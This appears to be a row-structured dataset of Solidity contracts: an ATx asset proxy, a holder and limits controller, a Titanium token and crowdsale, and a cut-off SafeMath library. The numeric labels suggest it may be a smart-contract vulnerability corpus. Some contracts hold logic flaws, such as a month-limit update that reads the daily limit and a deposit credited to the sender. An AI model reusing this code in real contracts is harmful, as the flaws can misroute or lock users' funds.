function changeOwnership(bytes32 _symbol, address _newOwner) public returns (uint errorCode);
}
contract ATxAssetProxy is ERC20, Object, ServiceAllowance {
uint constant UPGRADE_FREEZE_TIME = 3 days;
using SafeMath for uint;
event UpgradeProposal(address newVersion);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
Platform public platform;
bytes32 public smbl;
string public name;
modifier onlyPlatform() {
if (msg.sender == address(platform)) {
_;
}
}
modifier onlyAssetOwner() {
if (platform.isOwner(msg.sender, smbl)) {
_;
}
}
modifier onlyAccess(address _sender) {
if (getLatestVersion() == msg.sender) {
_;
}
}
function() public payable {
_getAsset().__process.value(msg.value)(msg.data, msg.sender);
}
function init(Platform _platform, string _symbol, string _name) public returns (bool) {
if (address(platform) != 0x0) {
return false;
}
platform = _platform;
symbol = _symbol;
smbl = stringToBytes32(_symbol);
name = _name;
return true;
}
function totalSupply() public view returns (uint) {
return platform.totalSupply(smbl);
}
function balanceOf(address _owner) public view returns (uint) {
return platform.balanceOf(_owner, smbl);
}
function allowance(address _from, address _spender) public view returns (uint) {
return platform.allowance(_from, _spender, smbl);
}
function decimals() public view returns (uint8) {
return platform.baseUnit(smbl);
}
function transfer(address _to, uint _value) public returns (bool) {
if (_to != 0x0) {
return _transferWithReference(_to, _value, "");
}
else {
return false;
}
}
function transferWithReference(address _to, uint _value, string _reference) public returns (bool) {
if (_to != 0x0) {
return _transferWithReference(_to, _value, _reference);
}
else {
return false;
}
}
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public onlyAccess(_sender) returns (bool) {
return platform.proxyTransferWithReference(_to, _value, smbl, _reference, _sender) == OK;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
if (_to != 0x0) {
return _getAsset().__transferFromWithReference(_from, _to, _value, "", msg.sender);
}
else {
return false;
}
}
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public onlyAccess(_sender) returns (bool) {
return platform.proxyTransferFromWithReference(_from, _to, _value, smbl, _reference, _sender) == OK;
}
function approve(address _spender, uint _value) public returns (bool) {
if (_spender != 0x0) {
return _getAsset().__approve(_spender, _value, msg.sender);
}
else {
return false;
}
}
function __approve(address _spender, uint _value, address _sender) public onlyAccess(_sender) returns (bool) {
return platform.proxyApprove(_spender, _value, smbl, _sender) == OK;
}
function emitTransfer(address _from, address _to, uint _value) public onlyPlatform() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) public onlyPlatform() {
Approval(_from, _spender, _value);
}
function getLatestVersion() public view returns (address) {
return latestVersion;
}
function getPendingVersion() public view returns (address) {
return pendingVersion;
}
function getPendingVersionTimestamp() public view returns (uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) public onlyAssetOwner returns (bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposal(_newVersion);
return true;
}
function purgeUpgrade() public onlyAssetOwner returns (bool) {
if (pendingVersion == 0x0) {
return false;
}
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() public returns (bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp.add(UPGRADE_FREEZE_TIME) > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function isTransferAllowed(address, address, address, address, uint) public view returns (bool) {
return true;
}
function _getAsset() internal view returns (ATxAssetInterface) {
return ATxAssetInterface(getLatestVersion());
}
function _transferWithReference(address _to, uint _value, string _reference) internal returns (bool) {
return _getAsset().__transferWithReference(_to, _value, _reference, msg.sender);
}
function stringToBytes32(string memory source) private pure returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
}
contract DataControllerEmitter {
event CountryCodeAdded(uint _countryCode, uint _countryId, uint _maxHolderCount);
event CountryCodeChanged(uint _countryCode, uint _countryId, uint _maxHolderCount);
event HolderRegistered(bytes32 _externalHolderId, uint _accessIndex, uint _countryCode);
event HolderAddressAdded(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex);
event HolderAddressRemoved(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex);
event HolderOperationalChanged(bytes32 _externalHolderId, bool _operational);
event DayLimitChanged(bytes32 _externalHolderId, uint _from, uint _to);
event MonthLimitChanged(bytes32 _externalHolderId, uint _from, uint _to);
event Error(uint _errorCode);
function _emitHolderAddressAdded(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex) internal {
HolderAddressAdded(_externalHolderId, _holderPrototype, _accessIndex);
}
function _emitHolderAddressRemoved(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex) internal {
HolderAddressRemoved(_externalHolderId, _holderPrototype, _accessIndex);
}
function _emitHolderRegistered(bytes32 _externalHolderId, uint _accessIndex, uint _countryCode) internal {
HolderRegistered(_externalHolderId, _accessIndex, _countryCode);
}
function _emitHolderOperationalChanged(bytes32 _externalHolderId, bool _operational) internal {
HolderOperationalChanged(_externalHolderId, _operational);
}
function _emitCountryCodeAdded(uint _countryCode, uint _countryId, uint _maxHolderCount) internal {
CountryCodeAdded(_countryCode, _countryId, _maxHolderCount);
}
function _emitCountryCodeChanged(uint _countryCode, uint _countryId, uint _maxHolderCount) internal {
CountryCodeChanged(_countryCode, _countryId, _maxHolderCount);
}
function _emitDayLimitChanged(bytes32 _externalHolderId, uint _from, uint _to) internal {
DayLimitChanged(_externalHolderId, _from, _to);
}
function _emitMonthLimitChanged(bytes32 _externalHolderId, uint _from, uint _to) internal {
MonthLimitChanged(_externalHolderId, _from, _to);
}
function _emitError(uint _errorCode) internal returns (uint) {
Error(_errorCode);
return _errorCode;
}
}
contract DataController is OracleMethodAdapter, DataControllerEmitter {
uint constant DATA_CONTROLLER = 109000;
uint constant DATA_CONTROLLER_ERROR = DATA_CONTROLLER + 1;
uint constant DATA_CONTROLLER_CURRENT_WRONG_LIMIT = DATA_CONTROLLER + 2;
uint constant DATA_CONTROLLER_WRONG_ALLOWANCE = DATA_CONTROLLER + 3;
uint constant DATA_CONTROLLER_COUNTRY_CODE_ALREADY_EXISTS = DATA_CONTROLLER + 4;
uint constant MAX_TOKEN_HOLDER_NUMBER = 2 ** 256 - 1;
using SafeMath for uint;
struct HoldersData {
uint countryCode;
uint sendLimPerDay;
uint sendLimPerMonth;
bool operational;
bytes text;
uint holderAddressCount;
mapping(uint => address) index2Address;
mapping(address => uint) address2Index;
}
struct CountryLimits {
uint countryCode;
uint maxTokenHolderNumber;
uint currentTokenHolderNumber;
}
address public withdrawal;
address assetAddress;
address public serviceController;
mapping(address => uint) public allowance;
uint public holdersCount;
mapping(uint => HoldersData) holders;
mapping(address => bytes32) holderAddress2Id;
mapping(bytes32 => uint) public holderIndex;
uint public countriesCount;
mapping(uint => CountryLimits) countryLimitsList;
mapping(uint => uint) countryIndex;
modifier onlyWithdrawal {
if (msg.sender != withdrawal) {
revert();
}
_;
}
modifier onlyAsset {
if (msg.sender == assetAddress) {
_;
}
}
modifier onlyContractOwner {
if (msg.sender == contractOwner) {
_;
}
}
function DataController(address _serviceController, address _asset) public {
require(_serviceController != 0x0);
require(_asset != 0x0);
serviceController = _serviceController;
assetAddress = _asset;
}
function() payable public {
revert();
}
function setWithdraw(address _withdrawal) onlyContractOwner external returns (uint) {
require(_withdrawal != 0x0);
withdrawal = _withdrawal;
return OK;
}
function getPendingManager() public view returns (address) {
return ServiceController(serviceController).getPendingManager();
}
function getHolderInfo(bytes32 _externalHolderId) public view returns (
uint _countryCode,
uint _limPerDay,
uint _limPerMonth,
bool _operational,
bytes _text
) {
HoldersData storage _data = holders[holderIndex[_externalHolderId]];
return (_data.countryCode, _data.sendLimPerDay, _data.sendLimPerMonth, _data.operational, _data.text);
}
function getHolderAddresses(bytes32 _externalHolderId) public view returns (address[] _addresses) {
HoldersData storage _holderData = holders[holderIndex[_externalHolderId]];
uint _addressesCount = _holderData.holderAddressCount;
_addresses = new address[](_addressesCount);
for (uint _holderAddressIdx = 0; _holderAddressIdx < _addressesCount; ++_holderAddressIdx) {
_addresses[_holderAddressIdx] = _holderData.index2Address[_holderAddressIdx + 1];
}
}
function getHolderCountryCode(bytes32 _externalHolderId) public view returns (uint) {
return holders[holderIndex[_externalHolderId]].countryCode;
}
function getHolderExternalIdByAddress(address _address) public view returns (bytes32) {
return holderAddress2Id[_address];
}
function isRegisteredAddress(address _address) public view returns (bool) {
return holderIndex[holderAddress2Id[_address]] != 0;
}
function isHolderOwnAddress(bytes32 _externalHolderId, address _address) public view returns (bool) {
uint _holderIndex = holderIndex[_externalHolderId];
if (_holderIndex == 0) {
return false;
}
return holders[_holderIndex].address2Index[_address] != 0;
}
function getCountryInfo(uint _countryCode) public view returns (uint _maxHolderNumber, uint _currentHolderCount) {
CountryLimits storage _data = countryLimitsList[countryIndex[_countryCode]];
return (_data.maxTokenHolderNumber, _data.currentTokenHolderNumber);
}
function getCountryLimit(uint _countryCode) public view returns (uint limit) {
uint _index = countryIndex[_countryCode];
require(_index != 0);
return countryLimitsList[_index].maxTokenHolderNumber;
}
function addCountryCode(uint _countryCode) onlyContractOwner public returns (uint) {
var (,_created) = _createCountryId(_countryCode);
if (!_created) {
return _emitError(DATA_CONTROLLER_COUNTRY_CODE_ALREADY_EXISTS);
}
return OK;
}
function registerHolder(bytes32 _externalHolderId, address _holderAddress, uint _countryCode) onlyOracleOrOwner external returns (uint) {
require(_holderAddress != 0x0);
uint _holderIndex = holderIndex[holderAddress2Id[_holderAddress]];
require(_holderIndex == 0);
_createCountryId(_countryCode);
_holderIndex = holdersCount.add(1);
holdersCount = _holderIndex;
HoldersData storage _holderData = holders[_holderIndex];
_holderData.countryCode = _countryCode;
_holderData.operational = true;
_holderData.sendLimPerDay = MAX_TOKEN_HOLDER_NUMBER;
_holderData.sendLimPerMonth = MAX_TOKEN_HOLDER_NUMBER;
uint _firstAddressIndex = 1;
_holderData.holderAddressCount = _firstAddressIndex;
_holderData.address2Index[_holderAddress] = _firstAddressIndex;
_holderData.index2Address[_firstAddressIndex] = _holderAddress;
holderIndex[_externalHolderId] = _holderIndex;
holderAddress2Id[_holderAddress] = _externalHolderId;
_emitHolderRegistered(_externalHolderId, _holderIndex, _countryCode);
return OK;
}
function addHolderAddress(bytes32 _externalHolderId, address _newAddress) onlyOracleOrOwner external returns (uint) {
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
uint _newAddressId = holderIndex[holderAddress2Id[_newAddress]];
require(_newAddressId == 0);
HoldersData storage _holderData = holders[_holderIndex];
if (_holderData.address2Index[_newAddress] == 0) {
_holderData.holderAddressCount = _holderData.holderAddressCount.add(1);
_holderData.address2Index[_newAddress] = _holderData.holderAddressCount;
_holderData.index2Address[_holderData.holderAddressCount] = _newAddress;
}
holderAddress2Id[_newAddress] = _externalHolderId;
_emitHolderAddressAdded(_externalHolderId, _newAddress, _holderIndex);
return OK;
}
function removeHolderAddress(bytes32 _externalHolderId, address _address) onlyOracleOrOwner external returns (uint) {
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
HoldersData storage _holderData = holders[_holderIndex];
uint _tempIndex = _holderData.address2Index[_address];
require(_tempIndex != 0);
address _lastAddress = _holderData.index2Address[_holderData.holderAddressCount];
_holderData.address2Index[_lastAddress] = _tempIndex;
_holderData.index2Address[_tempIndex] = _lastAddress;
delete _holderData.address2Index[_address];
_holderData.holderAddressCount = _holderData.holderAddressCount.sub(1);
delete holderAddress2Id[_address];
_emitHolderAddressRemoved(_externalHolderId, _address, _holderIndex);
return OK;
}
function changeOperational(bytes32 _externalHolderId, bool _operational) onlyOracleOrOwner external returns (uint) {
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
holders[_holderIndex].operational = _operational;
_emitHolderOperationalChanged(_externalHolderId, _operational);
return OK;
}
function updateTextForHolder(bytes32 _externalHolderId, bytes _text) onlyOracleOrOwner external returns (uint) {
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
holders[_holderIndex].text = _text;
return OK;
}
function updateLimitPerDay(bytes32 _externalHolderId, uint _limit) onlyOracleOrOwner external returns (uint) {
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
uint _currentLimit = holders[_holderIndex].sendLimPerDay;
holders[_holderIndex].sendLimPerDay = _limit;
_emitDayLimitChanged(_externalHolderId, _currentLimit, _limit);
return OK;
}
function updateLimitPerMonth(bytes32 _externalHolderId, uint _limit) onlyOracleOrOwner external returns (uint) {
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
uint _currentLimit = holders[_holderIndex].sendLimPerDay;
holders[_holderIndex].sendLimPerMonth = _limit;
_emitMonthLimitChanged(_externalHolderId, _currentLimit, _limit);
return OK;
}
function changeCountryLimit(uint _countryCode, uint _limit) onlyOracleOrOwner external returns (uint) {
uint _countryIndex = countryIndex[_countryCode];
require(_countryIndex != 0);
uint _currentTokenHolderNumber = countryLimitsList[_countryIndex].currentTokenHolderNumber;
if (_currentTokenHolderNumber > _limit) {
return DATA_CONTROLLER_CURRENT_WRONG_LIMIT;
}
countryLimitsList[_countryIndex].maxTokenHolderNumber = _limit;
_emitCountryCodeChanged(_countryIndex, _countryCode, _limit);
return OK;
}
function withdrawFrom(address _holderAddress, uint _value) public onlyAsset returns (uint) {
bytes32 _externalHolderId = holderAddress2Id[_holderAddress];
HoldersData storage _holderData = holders[holderIndex[_externalHolderId]];
_holderData.sendLimPerDay = _holderData.sendLimPerDay.sub(_value);
_holderData.sendLimPerMonth = _holderData.sendLimPerMonth.sub(_value);
return OK;
}
function depositTo(address _holderAddress, uint _value) public onlyAsset returns (uint) {
bytes32 _externalHolderId = holderAddress2Id[_holderAddress];
HoldersData storage _holderData = holders[holderIndex[_externalHolderId]];
_holderData.sendLimPerDay = _holderData.sendLimPerDay.add(_value);
_holderData.sendLimPerMonth = _holderData.sendLimPerMonth.add(_value);
return OK;
}
function updateCountryHoldersCount(uint _countryCode, uint _updatedHolderCount) public onlyAsset returns (uint) {
CountryLimits storage _data = countryLimitsList[countryIndex[_countryCode]];
assert(_data.maxTokenHolderNumber >= _updatedHolderCount);
_data.currentTokenHolderNumber = _updatedHolderCount;
return OK;
}
function changeAllowance(address _from, uint _value) public onlyWithdrawal returns (uint) {
ServiceController _serviceController = ServiceController(serviceController);
ATxAssetProxy token = ATxAssetProxy(_serviceController.proxy());
if (token.balanceOf(_from) < _value) {
return DATA_CONTROLLER_WRONG_ALLOWANCE;
}
allowance[_from] = _value;
return OK;
}
function _createCountryId(uint _countryCode) internal returns (uint, bool _created) {
uint countryId = countryIndex[_countryCode];
if (countryId == 0) {
uint _countriesCount = countriesCount;
countryId = _countriesCount.add(1);
countriesCount = countryId;
CountryLimits storage limits = countryLimitsList[countryId];
limits.countryCode = _countryCode;
limits.maxTokenHolderNumber = MAX_TOKEN_HOLDER_NUMBER;
countryIndex[_countryCode] = countryId;
_emitCountryCodeAdded(countryIndex[_countryCode], _countryCode, MAX_TOKEN_HOLDER_NUMBER);
_created = true;
}
return (countryId, _created);
}
}
interface ERC223ReceivingInterface {
function tokenFallback(address _from, uint _value, bytes _data) external;
}
contract ATxAsset is BasicAsset, Owned {
uint public constant OK = 1;
using SafeMath for uint;
enum Roles {
Holder,
Service,
Other
}
ServiceController public serviceController;
DataController public dataController;
uint public lockupDate;
function ATxAsset() public {
}
function() payable public {
revert();
}
function initAtx(
address _proxy,
address _serviceController,
address _dataController,
uint _lockupDate
)
onlyContractOwner
public
returns (bool)
{
require(_serviceController != 0x0);
require(_dataController != 0x0);
require(_proxy != 0x0);
require(_lockupDate > now || _lockupDate == 0);
if (!super.init(ATxProxy(_proxy))) {
return false;
}
serviceController = ServiceController(_serviceController);
dataController = DataController(_dataController);
lockupDate = _lockupDate;
return true;
}
function __transferWithReference(
address _to,
uint _value,
string _reference,
address _sender
)
onlyProxy
public
returns (bool)
{
var (_fromRole, _toRole) = _getParticipantRoles(_sender, _to);
if (!_checkTransferAllowance(_to, _toRole, _value, _sender, _fromRole)) {
return false;
}
if (!_isValidCountryLimits(_to, _toRole, _value, _sender, _fromRole)) {
return false;
}
if (!super.__transferWithReference(_to, _value, _reference, _sender)) {
return false;
}
_updateTransferLimits(_to, _toRole, _value, _sender, _fromRole);
_contractFallbackERC223(_sender, _to, _value);
return true;
}
function __transferFromWithReference(
address _from,
address _to,
uint _value,
string _reference,
address _sender
)
public
onlyProxy
returns (bool)
{
var (_fromRole, _toRole) = _getParticipantRoles(_from, _to);
bool _isTransferFromHolderToContractOwner = (_fromRole == Roles.Holder) &&
(contractOwner == _to) &&
(dataController.allowance(_from) >= _value) &&
super.__transferFromWithReference(_from, _to, _value, _reference, _sender);
if (_isTransferFromHolderToContractOwner) {
return true;
}
if (!_checkTransferAllowanceFrom(_to, _toRole, _value, _from, _fromRole, _sender)) {
return false;
}
if (!_isValidCountryLimits(_to, _toRole, _value, _from, _fromRole)) {
return false;
}
if (!super.__transferFromWithReference(_from, _to, _value, _reference, _sender)) {
return false;
}
_updateTransferLimits(_to, _toRole, _value, _from, _fromRole);
_contractFallbackERC223(_from, _to, _value);
return true;
}
function _contractFallbackERC223(address _from, address _to, uint _value) internal {
uint _codeLength;
assembly {
_codeLength := extcodesize(_to)
}
if (_codeLength > 0) {
ERC223ReceivingInterface _receiver = ERC223ReceivingInterface(_to);
bytes memory _empty;
_receiver.tokenFallback(_from, _value, _empty);
}
}
function _isTokenActive() internal view returns (bool) {
return now > lockupDate;
}
function _checkTransferAllowance(address _to, Roles _toRole, uint _value, address _from, Roles _fromRole) internal view returns (bool) {
if (_to == proxy) {
return false;
}
bool _canTransferFromService = _fromRole == Roles.Service && ServiceAllowance(_from).isTransferAllowed(_from, _to, _from, proxy, _value);
bool _canTransferToService = _toRole == Roles.Service && ServiceAllowance(_to).isTransferAllowed(_from, _to, _from, proxy, _value);
bool _canTransferToHolder = _toRole == Roles.Holder && _couldDepositToHolder(_to, _value);
bool _canTransferFromHolder;
if (_isTokenActive()) {
_canTransferFromHolder = _fromRole == Roles.Holder && _couldWithdrawFromHolder(_from, _value);
} else {
_canTransferFromHolder = _fromRole == Roles.Holder && _couldWithdrawFromHolder(_from, _value) && _from == contractOwner;
}
return (_canTransferFromHolder || _canTransferFromService) && (_canTransferToHolder || _canTransferToService);
}
function _checkTransferAllowanceFrom(
address _to,
Roles _toRole,
uint _value,
address _from,
Roles _fromRole,
address
)
internal
view
returns (bool)
{
return _checkTransferAllowance(_to, _toRole, _value, _from, _fromRole);
}
function _isValidWithdrawLimits(uint _sendLimPerDay, uint _sendLimPerMonth, uint _value) internal pure returns (bool) {
return !(_value > _sendLimPerDay || _value > _sendLimPerMonth);
}
function _isValidDepositCountry(
uint _value,
uint _withdrawCountryCode,
uint _withdrawBalance,
uint _countryCode,
uint _balance,
uint _currentHolderCount,
uint _maxHolderNumber
)
internal
pure
returns (bool)
{
return _isNoNeedInCountryLimitChange(_value, _withdrawCountryCode, _withdrawBalance, _countryCode, _balance, _currentHolderCount, _maxHolderNumber)
? true
: _isValidDepositCountry(_balance, _currentHolderCount, _maxHolderNumber);
}
function _isNoNeedInCountryLimitChange(
uint _value,
uint _withdrawCountryCode,
uint _withdrawBalance,
uint _countryCode,
uint _balance,
uint _currentHolderCount,
uint _maxHolderNumber
)
internal
pure
returns (bool)
{
bool _needToIncrementCountryHolderCount = _balance == 0;
bool _needToDecrementCountryHolderCount = _withdrawBalance == _value;
bool _shouldOverflowCountryHolderCount = _currentHolderCount == _maxHolderNumber;
return _withdrawCountryCode == _countryCode && _needToDecrementCountryHolderCount && _needToIncrementCountryHolderCount && _shouldOverflowCountryHolderCount;
}
function _updateCountries(
uint _value,
uint _withdrawCountryCode,
uint _withdrawBalance,
uint _withdrawCurrentHolderCount,
uint _countryCode,
uint _balance,
uint _currentHolderCount,
uint _maxHolderNumber
)
internal
{
if (_isNoNeedInCountryLimitChange(_value, _withdrawCountryCode, _withdrawBalance, _countryCode, _balance, _currentHolderCount, _maxHolderNumber)) {
return;
}
_updateWithdrawCountry(_value, _withdrawCountryCode, _withdrawBalance, _withdrawCurrentHolderCount);
_updateDepositCountry(_countryCode, _balance, _currentHolderCount);
}
function _updateWithdrawCountry(
uint _value,
uint _countryCode,
uint _balance,
uint _currentHolderCount
)
internal
{
if (_value == _balance && OK != dataController.updateCountryHoldersCount(_countryCode, _currentHolderCount.sub(1))) {
revert();
}
}
function _updateDepositCountry(
uint _countryCode,
uint _balance,
uint _currentHolderCount
)
internal
{
if (_balance == 0 && OK != dataController.updateCountryHoldersCount(_countryCode, _currentHolderCount.add(1))) {
revert();
}
}
function _getParticipantRoles(address _from, address _to) private view returns (Roles _fromRole, Roles _toRole) {
_fromRole = dataController.isRegisteredAddress(_from) ? Roles.Holder : (serviceController.isService(_from) ? Roles.Service : Roles.Other);
_toRole = dataController.isRegisteredAddress(_to) ? Roles.Holder : (serviceController.isService(_to) ? Roles.Service : Roles.Other);
}
function _couldWithdrawFromHolder(address _holder, uint _value) private view returns (bool) {
bytes32 _holderId = dataController.getHolderExternalIdByAddress(_holder);
var (, _limPerDay, _limPerMonth, _operational,) = dataController.getHolderInfo(_holderId);
return _operational ? _isValidWithdrawLimits(_limPerDay, _limPerMonth, _value) : false;
}
function _couldDepositToHolder(address _holder, uint) private view returns (bool) {
bytes32 _holderId = dataController.getHolderExternalIdByAddress(_holder);
var (,,, _operational,) = dataController.getHolderInfo(_holderId);
return _operational;
}
function _isValidDepositCountry(uint _balance, uint _currentHolderCount, uint _maxHolderNumber) private pure returns (bool) {
return !(_balance == 0 && _currentHolderCount == _maxHolderNumber);
}
function _getHoldersInfo(address _to, Roles _toRole, uint, address _from, Roles _fromRole)
private
view
returns (
uint _fromCountryCode,
uint _fromBalance,
uint _toCountryCode,
uint _toCountryCurrentHolderCount,
uint _toCountryMaxHolderNumber,
uint _toBalance
) {
bytes32 _holderId;
if (_toRole == Roles.Holder) {
_holderId = dataController.getHolderExternalIdByAddress(_to);
_toCountryCode = dataController.getHolderCountryCode(_holderId);
(_toCountryCurrentHolderCount, _toCountryMaxHolderNumber) = dataController.getCountryInfo(_toCountryCode);
_toBalance = ERC20Interface(proxy).balanceOf(_to);
}
if (_fromRole == Roles.Holder) {
_holderId = dataController.getHolderExternalIdByAddress(_from);
_fromCountryCode = dataController.getHolderCountryCode(_holderId);
_fromBalance = ERC20Interface(proxy).balanceOf(_from);
}
}
function _isValidCountryLimits(address _to, Roles _toRole, uint _value, address _from, Roles _fromRole) private view returns (bool) {
var (
_fromCountryCode,
_fromBalance,
_toCountryCode,
_toCountryCurrentHolderCount,
_toCountryMaxHolderNumber,
_toBalance
) = _getHoldersInfo(_to, _toRole, _value, _from, _fromRole);
bool _isValidLimitFromHolder = _fromRole == _toRole && _fromRole == Roles.Holder && !_isValidDepositCountry(_value, _fromCountryCode, _fromBalance, _toCountryCode, _toBalance, _toCountryCurrentHolderCount, _toCountryMaxHolderNumber);
bool _isValidLimitsToHolder = _toRole == Roles.Holder && !_isValidDepositCountry(_toBalance, _toCountryCurrentHolderCount, _toCountryMaxHolderNumber);
return !(_isValidLimitFromHolder || _isValidLimitsToHolder);
}
function _updateTransferLimits(address _to, Roles _toRole, uint _value, address _from, Roles _fromRole) private {
var (
_fromCountryCode,
_fromBalance,
_toCountryCode,
_toCountryCurrentHolderCount,
_toCountryMaxHolderNumber,
_toBalance
) = _getHoldersInfo(_to, _toRole, _value, _from, _fromRole);
if (_fromRole == Roles.Holder && OK != dataController.withdrawFrom(_from, _value)) {
revert();
}
if (_toRole == Roles.Holder && OK != dataController.depositTo(_from, _value)) {
revert();
}
uint _fromCountryCurrentHolderCount;
if (_fromRole == Roles.Holder && _fromRole == _toRole) {
(_fromCountryCurrentHolderCount,) = dataController.getCountryInfo(_fromCountryCode);
_updateCountries(
_value,
_fromCountryCode,
_fromBalance,
_fromCountryCurrentHolderCount,
_toCountryCode,
_toBalance,
_toCountryCurrentHolderCount,
_toCountryMaxHolderNumber
);
} else if (_fromRole == Roles.Holder) {
(_fromCountryCurrentHolderCount,) = dataController.getCountryInfo(_fromCountryCode);
_updateWithdrawCountry(_value, _fromCountryCode, _fromBalance, _fromCountryCurrentHolderCount);
} else if (_toRole == Roles.Holder) {
_updateDepositCountry(_toCountryCode, _toBalance, _toCountryCurrentHolderCount);
}
}
}
contract XMIAsset is ATxAsset {
} | 1 | 3,763 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowances[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(value));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract TitaniumToken is ERC20Detailed, ERC20
{
constructor (uint256 totalSupply) ERC20Detailed("Titanium", "TIT", 7) public {
_mint(msg.sender, totalSupply * 10 ** 7);
}
}
contract TitaniumCrowdsale
{
using SafeMath for uint256;
uint256 constant price = 333;
uint256 public offset;
TitaniumToken public token;
address payable constant owner = 0x1fE398Fa2447b442a303fbB93F5d3cDaDB86d6BB;
constructor () public {
token = new TitaniumToken(20000000);
offset = 10 ** (18 - (uint256)(token.decimals()));
}
function () external payable
{
require(msg.value > 0);
buyTokens(msg.sender, msg.value);
}
function buyTokens(address sender, uint weiAmount) private
{
uint256 tokens = calculateNumberOfTokens(weiAmount);
require(tokens > 0);
token.transfer(sender, tokens);
owner.transfer(weiAmount);
}
function calculateNumberOfTokens(uint weiAmount) public view returns (uint256)
{
uint256 tokens = weiAmount.div(offset).mul(price);
uint256 bonus = getBonus(weiAmount);
if(bonus > 0)
{
tokens = tokens.add(tokens.mul(bonus).div(100));
}
return tokens;
}
function getBonus(uint256 weiAmount) public pure returns (uint256)
{
uint256 bonus = 0;
if(weiAmount >= 0.55 ether && weiAmount < 1.1 ether)
{
bonus = 10;
}
else if(weiAmount >= 1.1 ether && weiAmount < 2.80 ether)
{
bonus = 20;
}
else if(weiAmount >= 2.80 ether)
{
bonus = 40;
}
return bonus;
}
} | 1 | 3,304 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
